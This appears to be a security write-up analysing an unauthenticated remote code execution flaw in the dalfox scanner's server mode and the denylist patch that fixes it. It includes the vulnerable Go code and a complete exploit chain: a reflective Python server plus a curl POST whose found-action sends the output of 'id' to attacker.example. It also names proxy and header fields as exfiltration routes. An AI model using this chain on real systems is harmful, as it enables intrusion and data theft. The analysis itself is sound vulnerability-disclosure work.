The patch is a denylist of eight fields
// sanitizeAPIScanOptions strips fields that would let an API caller drive
// host-side filesystem or shell execution. These options are only safe for
// local CLI users; in REST/MCP mode the caller is the request body, so we
// refuse to honor them regardless of authentication state.
//
// See GHSA-v25v-m36w-jp4h, GHSA-8hf9-3q64-q2qf, GHSA-35wr-x7v6-9fv2.
func sanitizeAPIScanOptions(o *model.Options) {
o.FoundAction = ""
o.FoundActionShell = ""
o.OutputFile = ""
o.OutputAll = false
o.CustomPayloadFile = ""
o.CustomBlindXSSPayloadFile = ""
o.HarFilePath = ""
o.MiningWordlist = ""
}
Three GHSAs are named in the comment. CVE-2026-45087 (this one) is the RCE primitive: FoundAction and FoundActionShell flow into exec.Command. CVE-2026-45088 is the arbitrary file read: CustomPayloadFile is opened with voltFile.ReadLinesOrLiteral, each line is sent as an XSS payload to whichever target URL the same request body specified, and the file's contents leak through the scan traffic. CVE-2026-45089 is the arbitrary file write: OutputFile is opened with O_CREATE|O_APPEND once OutputAll or Debug is set in the same body.
Three CVEs, one patch, one function. The other five fields the function clears, CustomBlindXSSPayloadFile, HarFilePath, MiningWordlist, the two Output* toggles, have no separate CVEs. They have the same shape. The maintainer enumerated them anyway. The function comment is its own admission: these options are only safe for local CLI users.
The fix is not a redesign of the request shape. It is a list.
Found-action was the operator's hook in April 2020
--found-action lands in cmd/root.go in commit ecb8401, April 27, 2020. The README example is --found-action './notify.sh'. The intent is operator scripting: when dalfox finds a reflection, run a notification, log to a ticketing system, post to Slack. The implementation is one file, twenty lines:
// pkg/scanning/foundaction.go
func foundAction(options model.Options, target, query, ptype string) {
afterCmd := options.FoundAction
afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
err := cmd.Run()
// ...
}
exec.Command(shell, "-c", command). No escaping. None is required, because in April 2020 the only caller is dalfox url https://target.example/ running from the operator's shell, and the operator is supposed to put whatever shell text they want into the field. That is the feature.
In April 2020, the JSON tag on the field already reads json:"found-action,omitempty". The tag is there because model.Options is also unmarshaled from --config some.json, the operator's own configuration file:
// cmd/root.go, loadFile
byteValue, _ := io.ReadAll(jsonFile)
err = json.Unmarshal(byteValue, &options)
The kebab-case JSON tag is the wire shape of the CLI flag, named to match. The trust boundary is the operator's filesystem: an attacker who can write your dalfox config has already won.
On August 8, 2020, commit 3aa247b lands a new package, pkg/server. Its request struct, in 12 lines of pkg/server/model.go:
type Req struct {
URL string `json:"url"`
Options model.Options `json:"options"`
}
Echo's c.Bind(rq) reads the JSON body and populates Req using the json tags. Every JSON tag on model.Options is now a public network parameter. The tag on FoundAction was written for a config file. It works the same way over a TCP socket.
The chain is one curl against a default install
// pkg/server/server.go, pre-patch
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}
// cmd/server.go
serverCmd.Flags().StringVar(&apiKey, "api-key", "",
"Specify the API key for server authentication. ...")
serverCmd.Flags().StringVar(&host, "host", "0.0.0.0",
"Specify the address to bind the server to. ...")
serverCmd.Flags().IntVar(&port, "port", 6664, ...)
apiKey defaults to "". The auth middleware registers only when the key is non-empty. There is no warning at startup if the flag is unset. The banner prints Listen 0.0.0.0:6664 and the process serves. Default install: unauthenticated, world-reachable, port 6664.
// pkg/server/server.go, pre-patch
func postScanHandler(c echo.Context, scans *[]string, options *model.Options) error {
rq := new(Req)
if err := c.Bind(rq); err != nil {
// ...
}
sid := utils.GenerateRandomToken(rq.URL)
// ...
go ScanFromAPI(rq.URL, rq.Options, *options, sid)
return respondJSONorJSONP(c, http.StatusOK, res, options)
}
rq.Options is the user-supplied JSON, deserialized into the same struct the CLI flag parser writes to. ScanFromAPI passes it to dalfox.Initialize, whose string-options table copies FoundAction and FoundActionShell from input to working options. The scan starts. When a payload reflects, pkg/scanning/sendReq.go calls:
if options.FoundAction != "" {
foundAction(options, req.URL.Host, poc.Data, "BAV: "+poc.InjectType)
}
The exploit chain, end to end:
# 1. Attacker runs a reflective endpoint on a host they control:
$ python3 -c 'from http.server import *
class H(BaseHTTPRequestHandler):
def do_GET(s):
s.send_response(200); s.end_headers()
s.wfile.write(b"<html>"+s.path.encode()+b"</html>")
HTTPServer(("0.0.0.0",18081),H).serve_forever()'
# 2. Attacker posts to the target's dalfox server:
$ curl -X POST http://target:6664/scan \
-H 'Content-Type: application/json' \
-d '{
"url": "http://attacker.example:18081/?q=test",
"options": {
"found-action": "curl https://attacker.example/$(id|base64 -w0)",
"found-action-shell": "bash"
}
}'
postScanHandler accepts the body. ScanFromAPI runs in a goroutine. Dalfox sends XSS payloads to the attacker's reflective server. The server reflects them. The scan engine sees the reflections as findings. foundAction runs. exec.Command("bash", "-c", "curl https://attacker.example/$(id|base64 -w0)") executes with the privilege of the dalfox process. The attacker reads id out-of-band.
No header. No cookie. No X-API-KEY. Default install.
The Options struct has seventy-two JSON tags
grep -c 'json:"' pkg/model/options.go returns 72. The patch's denylist names eight. The other sixty-four are operator-meant configuration that an unauthenticated POST /scan can also set: proxy (ProxyAddress), header, cookie, data, worker, delay, param, user-agent, is-api, is-library. Most are fine. Some are not.
json:"proxy" lets a network caller set the HTTP proxy through which the dalfox process makes every outbound scan request. A scan of https://internal.target.example/ proxied through http://attacker.example:8080/ exfiltrates the response bodies of internal URLs to the attacker. json:"header" lets the caller set arbitrary request headers, including Authorization, on the scan traffic, which is now from the dalfox host's network position rather than from the attacker's. json:"cookie" is the same primitive against authenticated targets.
The denylist did not name these because they are not arbitrary-shell or arbitrary-file primitives. They are SSRF and credential-prefixing primitives instead. The fix's framing is "host-side filesystem or shell execution," which is exactly the framing of the three GHSAs it closes. The fields that route scan traffic through attacker-controlled infrastructure stay live.
The patch's own comment names the structural mistake exactly: "in REST/MCP mode the caller is the request body." Then it closes eight instances. This is design-debt-driver in pure form, the component model.Options doubling as flag struct and request body, and the fix is per-field rather than per-trust-boundary. The next field added to model.Options with a JSON tag and a side effect is the next CVE.
The default was empty for five years and nine months
Server mode lands on August 8, 2020 in commit 3aa247b. The diff includes no authentication. The first commit that adds an --api-key flag is 97c519e, dated July 5, 2025. The commit subject is feat: API 키 기반 인증 추가. The author is google-labs-jules[bot], an AI agent. The change adds the flag and the apiKeyAuth middleware. The middleware registers only when the key is non-empty. The default stays empty.
From August 8, 2020 through May 7, 2026, default dalfox server mode was a 0.0.0.0 listener that accepted arbitrary shell commands from any network caller, gated by no authentication. That is five years, nine months. The bot landed the conditional lock ten months before the CVE. The conditional was the lock. The default was no lock.
The advisory's first remediation is "make API key mandatory: reject server startup without --api-key." That is the line the bot did not write.
The detector's privileged action is the shell hook
Dalfox is a vulnerability scanner. The thing that makes it useful is the chain of capabilities it carries on the operator's behalf: outbound HTTP from the operator's network position, a payload library, a headless browser to confirm execution, and a shell hook to glue findings into the operator's notification pipeline. The shell hook is --found-action. It exists so the operator can run their own code when dalfox reports a finding.
That hook is the security-tool-as-primitive shape written literal: the privileged action of the security tool is exec.Command with operator-supplied text. The privilege is fine when the operator is at a terminal. The privilege is unauthenticated RCE the moment the same struct that holds the operator's text accepts JSON from the network.
The patch does not remove the hook. The hook is a feature. The patch removes the hook's reachability from one specific caller, postScanHandler, by stripping FoundAction to the empty string in a sanitizer the handler now calls. The hook's machinery, the substitution, the exec.Command, the conditional in sendReq.go, remains in the binary. Any future code path that constructs a model.Options from network input and forgets the sanitizer call re-exposes it.
sanitizeAPIScanOptions is the maintainer's enumeration of what the trust boundary should have been. The trust boundary is the function. The boundary is documentation of which fields move between the operator and the network, written in Go.
PoC: GHSA-v25v-m36w-jp4h
The patch names eight fields. The struct has seventy-two JSON tags. Every tag is a network primitive until the next sanitizer entry says otherwise.